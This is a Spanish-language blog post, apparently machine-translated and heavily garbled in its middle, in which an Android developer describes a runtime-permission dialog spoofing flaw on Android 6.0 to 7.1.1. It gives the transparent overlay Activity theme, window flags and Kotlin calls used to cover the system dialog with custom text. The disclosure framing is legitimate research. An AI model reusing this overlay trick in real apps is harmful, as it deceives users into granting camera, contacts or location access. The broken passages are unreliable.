Hola, mi nombre es Vitaly.
Tengo 25 años, me gradué de la Universidad Electrotécnica Estatal de San Petersburgo "LETI" en mi ciudad natal. Llevo 10 años programando, de los cuales 4 escribo para Android. Autor de muchos programas Homebrew, conocidos como VITTACH, para Sony PlayStation Portable (PSP) .
Hoy me gustaría discutir con ustedes el problema de la seguridad de las aplicaciones móviles. Los desarrolladores de Google están mejorando constantemente Android, encontrando y solucionando vulnerabilidades con la ayuda de una gran comunidad reunida gracias al programa Android Security Rewards , del que hablaremos más adelante. Sin embargo, los problemas persisten y es nuestra tarea común como comunidad informarlos para que se corrijan oportunamente.
La vulnerabilidad de la que hablo, pertenece a la clase con la Prioridad: la P2 y la Severidad: la S2 , que según la tabla en sentido amplio, significa:
Un problema que debe resolverse en un plazo de tiempo razonable;
Un problema que es importante para un gran porcentaje de usuarios y está relacionado con la funcionalidad principal.
Permiso de tiempo de ejecución
El artículo se centrará en algo conocido por todos los desarrolladores como el permiso en tiempo de ejecución, es decir, la posibilidad de engañar al usuario final al mostrar el cuadro de diálogo de permiso con su propio texto e icono sobre el del sistema. Es fácil adivinar que tal enfoque permitiría a los desarrolladores pedir al usuario permiso, digamos, para el sistema de archivos y, de hecho, dar acceso a la geolocalización, la cámara o cualquier otra cosa.
Es imposible
Se ha hecho una pregunta similar más de una vez en foros especializados, en particular en StackOverflow . La única respuesta correcta fue que era imposible. Y esto es realmente así: es imposible reemplazar el texto en el cuadro de diálogo del sistema, pero es posible reemplazarlo con el suyo.
Que hay debajo del capó
Runtime Permission Android 6.0
dangerous-. , . dangerous .
Dangerous permissions
android.permission_group.CALENDAR
android.permission.READ_CALENDAR
android.permission.WRITE_CALENDAR
android.permission_group.CAMERA
android.permission.CAMERA
android.permission_group.CONTACTS
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.GET_ACCOUNTS
android.permission_group.LOCATION
android.permission.ACCESSFINELOCATION
android.permission.ACCESSCOARSELOCATION
android.permission_group.MICROPHONE
android.permission.RECORD_AUDIO
android.permission_group.PHONE
android.permission.READPHONESTATE
android.permission.CALL_PHONE
android.permission.READCALLLOG
android.permission.WRITECALLLOG
android.permission.ADD_VOICEMAIL
android.permission.USE_SIP
android.permission.PROCESSOUTGOINGCALLS
android.permission_group.SENSORS
android.permission.BODY_SENSORS
android.permission_group.SMS
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.READ_SMS
android.permission.RECEIVEWAPPUSH
android.permission.RECEIVE_MMS
android.permission.READCELLBROADCASTS
android.permission_group.STORAGE
android.permission.READEXTERNALSTORAGE
android.permission.WRITEEXTERNALSTORAGE
Android GrantPermissionsActivity, .
ActivityCompat.requestPermissions(
MainActivity.this,
arrayOf(Manifest.permission.READ_CONTACTS),
PERMISSION_REQUEST_CODE
)
Activity, UI , Activity, .
:
Activity android:windowIsTranslucent=true
( Activity , , ) Activity , . Activity Activity .
– Activity , – Activity . Activity, ?
, , , , . , :
Activity , onResume
onPause
. Activity.
, Activity , . – !
,
Kotlin
,
<style name="Theme.Transparent" parent="AppTheme"> <item name="android:windowBackground">@android:color/transparent</item> <item name="android:windowIsTranslucent">true</item> </style>
Activity
... <activity android:name=".PermissionActivity" android:theme="@style/Theme.Transparent">
PermissionActivity layout
onCreate :
window.addFlags( FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE )
:
FLAG_NOT_FOCUSABLE
: window,FLAG_NOT_FOCUSABLE
, ;
FLAG_NOT_TOUCH_MODAL
: , , , ;
FLAG_NOT_TOUCHABLE
: .
MainActivity
ActivityCompat.requestPermissions( MainActivity.this, arrayOf(Manifest.permission.READ_CONTACTS), REQUEST_CODE )
MainActivity : PermissionActivity.
startActivity(Intent(this, PermissionActivity::class.java))
PermissionActivity Activity . !
Android >= 7.1.1
Runtime Permission Android 6.0
, 7.1.1
, .. Android
.
Android 6.0
, . , Google .
Android Rewards Program
Presenté una solicitud y adjunté todos los documentos explicativos y demostrativos relacionados con esta vulnerabilidad. En este momento, la solicitud está en consideración, por lo que no puedo divulgar los detalles, porque he firmado el acuerdo correspondiente.
¿Cómo es más fácil?
Para la conveniencia de aprovechar la vulnerabilidad, escribí una biblioteca